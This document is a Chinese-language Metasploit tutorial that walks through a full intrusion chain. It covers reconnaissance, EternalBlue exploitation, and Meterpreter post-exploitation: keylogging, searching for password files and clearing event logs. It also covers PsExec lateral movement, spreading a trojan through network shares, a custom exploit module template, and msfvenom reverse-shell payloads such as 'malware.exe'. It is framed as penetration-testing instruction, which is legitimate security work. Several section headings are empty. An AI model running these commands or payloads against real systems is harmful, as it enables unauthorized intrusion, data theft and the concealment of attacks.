Metasploit Framework (MSF) 使用指南

0、MSF简介

Metasploit Framework（MSF）是一个开源的渗透测试框架，它是渗透测试领域的核心工具之一，被广泛应用于安全研究和渗透测试。MSF通过模块化设计，简化了漏洞利用和后渗透操作，帮助测试人员快速验证系统安全性。

1、准备阶段

1.1、基础概念

模块的概念

Metasploit 基于模块的概念。最常用的模块类型是：

• Auxiliary - 辅助模块不利用目标，但可以执行数据收集或管理任务
• Exploit - 利用漏洞模块以允许框架在目标主机上执行任意代码的方式利用漏洞
• Payloads - Payload生成模块可以在远程目标上执行的任意代码，用于执行任务，例如创建用户、打开 shell 等
• Post - 后渗透模块在计算机被入侵后使用。它们执行有用的任务，例如收集、汇总或枚举会话中的数据。

模块的使用

• search <keyword>：搜索模块，例如search ms17-010
• use <module>：选择模块，例如use exploit/windows/smb/ms17_010_eternalblue
• info：显示模块的使用方法和参数
• show options：查看模块配置项。
• set <option> <value>：设置参数，例如set RHOST 192.168.1.100
• exploit 或 run：执行模块
• sessions：查看和管理会话

模块的存储路径

ll /usr/share/metasploit-framework/modules

drwxr-xr-x 22 root root 4096 Apr 10 02:24 auxiliary
drwxr-xr-x 12 root root 4096 Nov 30 07:24 encoders
drwxr-xr-x  3 root root 4096 Nov 30 07:24 evasion
drwxr-xr-x 22 root root 4096 Apr 10 02:24 exploits
drwxr-xr-x 14 root root 4096 Dec 26 02:00 nops
drwxr-xr-x  6 root root 4096 Nov 30 07:24 payloads
drwxr-xr-x 14 root root 4096 Nov 30 07:24 post
-rw-r--r--  1 root root  434 Mar 19 13:38 README.md

1.2、MSF安装和更新

安装MSF

(以Kali Linux为例)

apt update -y && apt install -y metasploit-framework

更新MSF版本

apt update -y && apt upgrade -y metasploit-framework

或使用旧命令：

msfupdate

更新MSF数据库

sudo msfdb init

1.5、命令帮助（v6.4.54-dev）

如需了解某个命令的更多信息，使用 <命令> -h 或 help <命令>。

核心命令

模块操作命令

工作命令

资源脚本命令

数据库后端命令

证书后端命令

开发人员的命令

DNS 命令

辅助命令

1.5、其他工具准备

• 必备工具：Nmap、MSF、Burp Suite、Exploit-DB、CVE查询数据库
• 脚本工具：linpeas.sh
• 配置监听：事先选定IP、端口，例如反弹Shell的监听配置：

  use exploit/multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST <你的IP>
  set LPORT <端口号>

2、渗透测试完整流程

1、准备阶段

1.1、启动MSFDB

在Metasploit（MSF）中，数据库（默认使用PostgreSQL）用于存储扫描结果、漏洞信息、会话数据等，便于后续分析和操作。

┌──(kali㉿kali)-[~]
└─$ msfdb init
[-] Error: /usr/bin/msfdb must be run as root

┌──(kali㉿kali)-[~]
└─$ sudo su -       
[sudo] password for kali: 
┌──(root㉿kali)-[~]
└─# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization

┌──(root㉿kali)-[~]
└─# msfdb stop
[+] Stopping database

┌──(root㉿kali)-[~]
└─# msfdb delete
[+] Starting database
[+] Dropping databases 'msf'
[+] Dropping databases 'msf_test'
[+] Dropping database user 'msf'
[+] Deleting configuration file /usr/share/metasploit-framework/config/database.yml
[+] Stopping database

┌──(root㉿kali)-[~]
└─# exit

┌──(kali㉿kali)-[~]
└─$ sudo msfdb init
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

┌──(kali㉿kali)-[~]
└─$ sudo msfdb start
[i] Database already started

进入MSF控制台后（msfconsole），使用以下命令管理数据库：

使用数据库增强扫描模块

• 在使用扫描模块（如auxiliary/scanner/portscan/tcp）时，添加-j参数可自动将结果存入数据库：

  use auxiliary/scanner/portscan/tcp
  set RHOSTS 192.168.1.1-254
  set THREADS 50
  run -j  # 结果存入数据库
  

1.1、启动MSF控制台

启动需要一点时间

┌──(kali㉿kali)-[~]
└─$ sudo msfconsole 
Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command
                                                  

      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
  dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
  lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
  .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
   cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
    oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
     lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
      ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
       .dOOo'WM.OOOOocccxOOOO.MX'xOOd.
         ,kOl'M.OOOOOOOOOOOOO.M'dOk,
           :kk;.OOOOOOOOOOOOO.;Ok:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v6.4.54-dev                          ]
+ -- --=[ 2500 exploits - 1289 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

1.3、设置工作区 (workspace)

• 设置工作区,创建单独的工作区便于记录和管理：

进程调整命令

更多请查看 1.5 -> 工作命令

msf5 auxiliary(sniffer/psnuffle) > jobs		#查看msf后台运行进程
msf5 auxiliary(sniffer/psnuffle) > jobs -K		#杀死进程

2、信息收集

2.1、被动信息收集模块

2.2、主动信息收集模块

主机发现模块

msf6 > search arp_sweep

Matching Modules
================

   #  Name                                   Disclosure Date  Rank    Check  Description
   -  ----                                   ---------------  ----    -----  -----------
   0  auxiliary/scanner/discovery/arp_sweep  .                normal  No     ARP Sweep Local Network Discovery


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/discovery/arp_sweep

msf6 > use 0
msf6 auxiliary(scanner/discovery/arp_sweep) > info

       Name: ARP Sweep Local Network Discovery
     Module: auxiliary/scanner/discovery/arp_sweep
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  belch

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                        tasploit.html
  SHOST                       no        Source IP Address
  SMAC                        no        Source MAC Address
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    5                yes       The number of seconds to wait for new data

Description:
  Enumerate alive Hosts in local network using ARP requests.


View the full module info with the info -d command.

msf6 auxiliary(scanner/discovery/arp_sweep) > options 

Module options (auxiliary/scanner/discovery/arp_sweep):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                         etasploit.html
   SHOST                       no        Source IP Address
   SMAC                        no        Source MAC Address
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    5                yes       The number of seconds to wait for new data


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.56.0/24
RHOSTS => 192.168.56.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > set INTERFACE eth1
INTERFACE => eth1
msf6 auxiliary(scanner/discovery/arp_sweep) > run
/usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the allocator of T_DATA class PCAPRUB::Pcap
[+] 192.168.56.1 appears to be up (UNKNOWN).
[+] 192.168.56.100 appears to be up (CADMUS COMPUTER SYSTEMS).
[+] 192.168.56.105 appears to be up (CADMUS COMPUTER SYSTEMS).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/arp_sweep) > 

1. 通用主机发现模块

2. Windows 主机发现模块

3. Linux 主机发现模块

4. 特定网络服务模块

5. IoT设备相关模块

端口扫描模块

调用 Nmap 扫描

可以直接在 Metasploit 控制台中用 db_nmap 命令调用 Nmap，结果会自动存入 MSF 的数据库

db_nmap -sS -sV -T4 -Pn 192.168.56.105

• db_nmap 是 Metasploit 封装的 Nmap 调用命令，允许将扫描结果直接导入 MSF 数据库。
• 选项与参数与 Nmap 相同

msf6 auxiliary(scanner/http/http_version) > db_nmap -sS -sV -T4 -Pn 192.168.56.105
[*] Nmap: Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-15 02:58 EDT
[*] Nmap: Nmap scan report for 192.168.56.105
[*] Nmap: Host is up (0.00087s latency).
[*] Nmap: Not shown: 994 closed tcp ports (reset)
[*] Nmap: PORT     STATE SERVICE  VERSION
[*] Nmap: 22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)
[*] Nmap: 80/tcp   open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
[*] Nmap: 111/tcp  open  rpcbind  2-4 (RPC #100000)
[*] Nmap: 443/tcp  open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 mod_perl/2.0.11 Perl/v5.16.3)
[*] Nmap: 3306/tcp open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
[*] Nmap: 8086/tcp open  http     InfluxDB http admin 1.7.9
[*] Nmap: MAC Address: 08:00:27:A4:07:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.85 seconds

服务扫描模块

WEB服务模块：

网络协议模块

数据库模块

Wi-Fi信息模块

3、漏洞利用

通过信息收集阶段发现的潜在入口点，选择合适的Exploit模块并执行漏洞利用。

信息记录

将扫描结果保存以便后续模块选择：

notes add <笔记内容>

3.1、漏洞利用搜索

• 搜索漏洞模块：

  search ms17-010

• 使用模块：

  use exploit/windows/smb/ms17_010_eternalblue

常见漏洞POC列表：

3.2、配置参数

使用show options查看目标模块的可配置参数：

• 设置目标IP：

set RHOST 192.168.1.100

• 设置反弹Shell监听：

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <你的IP>
set LPORT 4444

• 查看当前配置：

show options

3.3、执行漏洞利用

启动Exploit模块：

exploit
或
run

案例：

• 漏洞：MS17-010 (EternalBlue)

1. 使用模块：

use exploit/windows/smb/ms17_010_eternalblue

2. 配置目标：

set RHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp

3. 执行攻击：

exploit

3.4、验证会话

• 查看当前会话列表：

  sessions -l

• 选择会话：

  sessions -i <会话ID>

4、后渗透

在获得目标访问权限后，进入Meterpreter，通过后渗透模块进一步提升权限、信息窃取、持续控制。

4.1、系统内信息收集

0：使用 shell 命令切换到交互式 shell

Meterpreter 提供一种直接进入目标系统本地 Shell 的方式，运行以下命令即可：

shell

• 执行此命令后，你将进入目标系统的交互式 Bash Shell（如果目标是 Linux 系统）。

1. 通用命令

• 查看系统信息：sysinfo
• 查看当前用户信息：getuid
• 查看环境变量：getenv
• 查看进程信息：ps
• 查看文件系统：

• ls：展示当前目录的文件
• cd：移动目录
• pwd：当前目录
• getwd：本地工作目录
• search -f *.txt -d c:\：搜索文件。
  • 场景：查找并下载敏感文件。
  • search -f *password*.txt -d c:\users
• upload / download：上传/下载文件。

Linux 系统内信息收集模块

Windows 系统内信息收集模块

Mac系统

4.2、权限提升

4.2.1a、自动提权扫描模块

4.2.1b、执行linpeas.sh提权扫描脚本

上传脚本到目标服务器

• 在 MSF 控制台中进入目标会话的交互式 Shell：

sessions -i <会话ID>  # 例如 sessions -i 1

• 使用upload命令上传本地的linpeas.sh（需提前下载脚本到攻击机）：

msf6 > upload /path/to/linpeas.sh /tmp/linpeas.sh  # 在MSF控制台执行

赋予执行权限并运行

chmod +x /tmp/linpeas.sh  # 在目标Shell中执行
./tmp/linpeas.sh  # 运行脚本，等待扫描结果

4.2.2、用于提权的其他操作

4.2.3、检查漏洞利用模块

Metasploit提供了大量的提权模块，可以根据收集到的系统信息筛选合适的模块进行尝试。
• 搜索提权模块：在MSF控制台中使用search命令搜索适用于目标系统的提权模块，例如搜索针对特定内核版本的提权模块。

msf6 > search linux privilege escalation

• 选择合适的模块：根据搜索结果选择合适的提权模块，使用use命令加载模块。

msf6 > use <模块名称>

• 设置必要的参数：使用set命令设置模块所需的参数，如SESSION参数指定要提权的Meterpreter会话编号。

msf6 exploit(<模块名称>) > set SESSION <会话编号>

• 执行模块：使用run或exploit命令执行提权模块。

msf6 exploit(<模块名称>) > run

Linux 权限提升模块

Windows 权限提升模块

Mac系统

1. Rootpipe漏洞：
   • 模块：exploit/osx/local/rootpipe
   • 使用：use exploit/osx/local/rootpipe → set SESSION <ID> → run。
2. 权限配置滥用：
   • 手动检测：sudo -l → 利用免密执行的命令（如python）。

4.3、权限持久化

通用 权限持久化模块

Linux 权限持久化模块

Windows 权限持久化模块

4.4、数据窃取

• 键盘记录：keyscan_start（开始记录）、keyscan_dump（查看记录）。
• 屏幕截图：screengrab

Windows 数据窃取模块

Linux 数据窃取模块

4.5、痕迹清理

清空Windows事件日志：

  clearev

删除临时文件：

  rm <文件路径>

Linux 痕迹清理模块

Windows 痕迹清理模块

5、内网横移

5.1 获取内网信息

• 内网扫描：
  在获得边界服务器会话后，添加路由以辨别内网结构：

  run autoroute -s <目标网段>

• 扫描内网开放的共享文件夹：

  use auxiliary/scanner/smb/smb_enumshares
  set RHOSTS <目标子网>
  run

5.2 横向移动

• 利用PsExec攻击其他主机：

  use exploit/windows/smb/psexec
  set SMBUser <用户名>
  set SMBPass <密码>
  set RHOSTS <目标IP>
  run

• 利用共享文件夹传播木马：
  使用msfvenom生成Payload并上传到共享文件夹：

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<端口> -f exe -o malware.exe
  upload malware.exe <共享文件路径>

Linux 内网横移模块

Windows 内网横移模块

3、自建MSF模块

6.1 移植第三方漏洞 POC为MSF模块

MSF支持用户移植外部漏洞利用代码。

查找第三方漏洞 POC

Exploit-DB 通过searchsploit命令搜索漏洞利用代码
例如：searchsploit exchange windows remote。

转换为MSF模块格式

将第三方漏洞 POC 转化为 Metasploit 模块需要一定的 Ruby 编程经验

步骤 1. 修读并理解 POC

首先你需要完全了解 POC 的工作原理，包括：

• POC 的攻击目标。
• 使用的协议（HTTP、SMTP、TCP 等）。
• 使用的 exploit 技术（缓冲区溢出、注入、文件上传等）。
• 所需参数（如目标地址、端口号、攻击载荷等）。

步骤 2. 确定漏洞攻击面

分析漏洞的各项参数，确定以下内容：

• 是否需要身份认证：漏洞攻击是否需要敏感信息（例如用户名、密码）。
• 传输协议与端口：确定通信的协议以及目标的端口号（例如 HTTP 的80或443端口）。
• 目标的响应：明确攻击成功后目标设备的行为，比如返回的 Exploit 字符串或 Shell。

有了这些分析之后，可以将 POC 转化为 Metasploit 模块所需的逻辑。

步骤 3. 选择合适的模块

Metasploit 中的模块类型如下：

• Exploit 模块：主要用于漏洞利用。
• Auxiliary 模块：用于信息收集或辅助攻击。
• Payload 模块：设计攻击载荷以实现后续控制。
• Post 模块：在目标系统取得初步访问权后进行后利用操作。

通常，漏洞利用 POC 转换为 MSF 模块时，需要明确它的类型：

• 如果是直接攻击的代码，可以转换为 Exploit 模块。
• 如果是信息收集工具（如探测漏洞状态），可能转换为 Auxiliary 模块。

步骤 4. 编写 Metasploit 模块

Metasploit 的模块是基于 Ruby 编写的。以下是创建一个基本 Exploit 模块的大致模板。

模块基础代码结构：

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient  # 根据漏洞涉及的协议选择合适的模块

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '模块名称',
      'Description'    => %q{
        模块描述，指出目标漏洞的性质，来自的 POC，以及利用目标的具体原理。
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['POC 作者', '你自己'],
      'References'     => [
        ['CVE', '漏洞的 CVE ID，例如 CVE-2023-XXXXX'],
        ['URL', 'POC 的来源链接']
      ],
      'Payload'        => {
        'Compat'        => {
          'PayloadType' => 'java/meterpreter/reverse_tcp',  # 目标载荷类型
          'RequiredCmd' => 'generic/shell_reverse_tcp'      # 需要什么命令
        }
      },
      'Platform'       => 'win', # 目标平台
      'Targets'        => [
        ['Windows', { 'Ret' => 0xdeadbeef }]  # 指定目标类型
      ],
      'DefaultTarget'  => 0 # 默认的目标
    ))

    register_options([
      Opt::RPORT(80), # 注册目标端口
      OptString.new('TARGETURI', [true, '路径', '/example/path'])
    ])
  end

  def check
    # 检查是否能利用漏洞，例如通过发送一个请求
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI']
    })

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    # 核心漏洞利用代码
    print_status('开始漏洞利用')

    payload_data = Rex::Text.encode_base64(payload.raw)

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{datastore['TARGETURI']}/action",
      'vars_post' => {
        'input' => payload_data
      }
    })

    if res && res.code == 201
      print_good('利用成功！返回：' + res.body)
    else
      fail_with(Failure::Unknown, "漏洞利用失败！返回：" + res.body)
    end
  end
end

模块关键部分分析：

1. check 函数：用来检查目标是否存在漏洞。
2. exploit 函数：这是模块的核心部分，你需要将 POC 的代码逻辑移植到这里。
3. 参数注册：如端口号（RPORT）或路径（TARGETURI）。

步骤 5. 测试模块

1. 将模块保存到 Metasploit 的自定义模块路径（例如 ~/.msf4/modules/exploits/）。
2. 在 Metasploit 控制台中运行以下命令：

   msfconsole
   use exploit/模块路径
   show options
   set RHOST <目标地址>
   set RPORT <目标端口>
   run
   

3. 测试模块是否正常工作。如果模块失败，请分析日志输出并进行调试。

4、MSF生成Payload

MSF的msfvenom工具用于生成各种Payload，例如木马程序。

• 生成Windows木马：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe

• 监听反弹Shell：

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.7
set LPORT 4444
exploit

Windows 生成 Payload 模块

Linux 生成 Payload 模块

Android 生成 Payload 模块

macOS (OS X) 生成 Payload 模块

iOS 生成 Payload 模块

多平台生成 Payload 模块

反弹 Shell 常用模块列表：